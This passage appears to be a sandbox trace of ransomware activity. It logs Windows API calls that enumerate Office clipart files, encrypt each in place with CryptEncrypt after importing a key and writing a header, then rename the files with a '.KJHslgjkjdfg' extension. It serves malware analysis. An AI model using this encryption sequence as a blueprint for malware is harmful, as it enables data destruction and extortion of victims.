Office\\CLIPART\\PUB60COR\\J0107152.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.kjhslgjkjdfg")) returned 1 [0200.648] CloseHandle (hObject=0x130) returned 1 [0200.648] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0200.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.649] GetProcessHeap () returned 0x2ef0000 [0200.649] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.649] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.649] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.651] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.651] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.651] GetProcessHeap () returned 0x2ef0000 [0200.651] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.651] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.651] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.651] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.651] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.651] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.652] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.652] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.652] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.652] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.652] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x571c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x571c, lpOverlapped=0x0) returned 1 [0200.653] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5720, dwBufLen=0x5720 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5720) returned 1 [0200.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.654] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5720, lpOverlapped=0x0) returned 1 [0200.654] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x57f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.654] SetEndOfFile (hFile=0x130) returned 1 [0200.654] GetProcessHeap () returned 0x2ef0000 [0200.654] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.654] GetProcessHeap () returned 0x2ef0000 [0200.654] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.kjhslgjkjdfg")) returned 1 [0200.656] CloseHandle (hObject=0x130) returned 1 [0200.656] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0200.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.657] GetProcessHeap () returned 0x2ef0000 [0200.657] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.657] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.658] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.660] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.660] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.660] GetProcessHeap () returned 0x2ef0000 [0200.660] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.660] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.660] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.660] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.660] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.660] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.660] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.661] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.661] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.661] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.661] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x614c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x614c, lpOverlapped=0x0) returned 1 [0200.662] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6150, dwBufLen=0x6150 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6150) returned 1 [0200.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.662] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6150, lpOverlapped=0x0) returned 1 [0200.663] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.663] SetEndOfFile (hFile=0x130) returned 1 [0200.666] GetProcessHeap () returned 0x2ef0000 [0200.666] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.666] GetProcessHeap () returned 0x2ef0000 [0200.666] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.kjhslgjkjdfg")) returned 1 [0200.667] CloseHandle (hObject=0x130) returned 1 [0200.667] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0200.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.668] GetProcessHeap () returned 0x2ef0000 [0200.668] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.668] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.668] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.671] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.672] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.672] GetProcessHeap () returned 0x2ef0000 [0200.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.672] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.672] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.672] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.672] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.672] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.672] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.673] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.673] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.673] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.673] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3ee4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3ee4, lpOverlapped=0x0) returned 1 [0200.674] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ef0) returned 1 [0200.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.674] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ef0, lpOverlapped=0x0) returned 1 [0200.674] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.674] SetEndOfFile (hFile=0x130) returned 1 [0200.677] GetProcessHeap () returned 0x2ef0000 [0200.677] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.677] GetProcessHeap () returned 0x2ef0000 [0200.677] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.kjhslgjkjdfg")) returned 1 [0200.679] CloseHandle (hObject=0x130) returned 1 [0200.679] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0200.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.679] GetProcessHeap () returned 0x2ef0000 [0200.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.680] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.680] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.682] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.682] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.682] GetProcessHeap () returned 0x2ef0000 [0200.682] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.682] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.682] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.682] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.683] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.683] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.683] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.683] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.683] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x11b8, lpOverlapped=0x0) returned 1 [0200.684] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11c0) returned 1 [0200.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.684] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x11c0, lpOverlapped=0x0) returned 1 [0200.684] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.684] SetEndOfFile (hFile=0x130) returned 1 [0200.687] GetProcessHeap () returned 0x2ef0000 [0200.687] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.687] GetProcessHeap () returned 0x2ef0000 [0200.687] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.kjhslgjkjdfg")) returned 1 [0200.689] CloseHandle (hObject=0x130) returned 1 [0200.689] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0200.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 